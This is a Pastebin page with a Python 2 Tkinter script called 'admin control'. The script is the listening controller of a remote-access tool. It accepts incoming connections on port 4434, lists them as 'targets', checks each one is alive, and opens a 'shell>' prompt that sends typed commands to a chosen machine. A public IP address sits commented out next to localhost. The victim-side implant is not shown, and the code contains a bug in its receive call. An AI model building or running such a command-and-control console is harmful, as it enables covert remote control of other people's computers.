Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- from Tkinter import *
- import threading
- import socket
- class Manager(object):
- def __init__(self):
- self.address = []
- self.connction = []
- self.GUI1 = Tk()
- self.GUI1.title('welcome to admin control')
- self.GUI1.geometry('800x800')
- self.ListTargets = Listbox(self.GUI1, width=95, fg='green', bg='black', font=2)
- self.ListTargets.pack()
- self.ListTargets.bind('<<ListboxSelect>>', self.checking)
- self.butt1 = Button(self.GUI1, text='reflesh', font=5, command=self.numberConns)
- self.butt1.pack(anchor=CENTER)
- self.butt2 = Button(self.GUI1, text='dele', command=self.delete_all)
- self.butt2.pack()
- OpenConnction = threading.Thread(target=self.start_sockets)
- OpenConnction.daemon = True
- OpenConnction.start()
- mainloop()
- def start_sockets(self):
- host = 'localhost' #'37.142.243.30'
- port = 4434
- while True:
- try:
- self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # solution for "[Error 89] Address already in use". Use it before bind()
- self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- self.socket.bind((host, port))
- self.socket.listen(20)
- while True:
- try:
- conn, addr = self.socket.accept()
- #self.conn.setblocking(1)
- self.connction.append(conn)
- self.address.append(addr)
- print 'hello', addr
- except Exception, e:
- print 'problem with accept'
- print 'exception:', e
- except Exception, e:
- print 'problem with socket, bind or listen'
- print 'exception:', e
- # close all socket
- for c in self.connction:
- c.close()
- self.socket.close()
- # clear all lists
- self.connction = []
- self.address = []
- def numberConns(self):
- # remove all elements
- self.ListTargets.delete(0, END)
- correct_addr = []
- correct_conn = []
- # get `addr` and `conn` so you don't need `i`
- for addr, conn in zip(self.address, self.connction):
- print '[DEBUG] check:', addr
- # it has to be inside `for` - indentions
- try:
- conn.send('1')
- result = conn.recv(1024)
- # if `result` is empty then connection was closed
- if not result:
- continue # jump to `for`
- except Exception, e:
- print 'problem with send or recv'
- print 'exception:', e
- continue # jump to `for`
- print '[DEBUG] add:', addr
- # add to list only if there was no exception
- # so you don't have to delete it from list
- self.ListTargets.insert(END, addr)
- # keep only working connection
- correct_addr.append(addr)
- correct_conn.append(conn)
- # after checking all connection replaces lists
- self.address = correct_addr
- self.connction = correct_conn
- def checking(self, *e):
- indexes = self.ListTargets.curselection()
- for i in indexes:
- self.send_commands(self.connction[i])
- def send_commands(self, conn): # with argument instead of global/class variable
- while True:
- command = raw_input('shell> ').strip()
- # strip() removes spaces/tabs at both ends of `command`
- if not command: #if len(command) == 0:
- return # or break
- conn.send(command) # `conn` without `self.` - local variable
- response = self.conn.recv(2028)
- print response
- def delete_all(self):
- self.ListTargets.delete(0, END) # `END` instead of `0`
- # --- main ---
- Manager()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement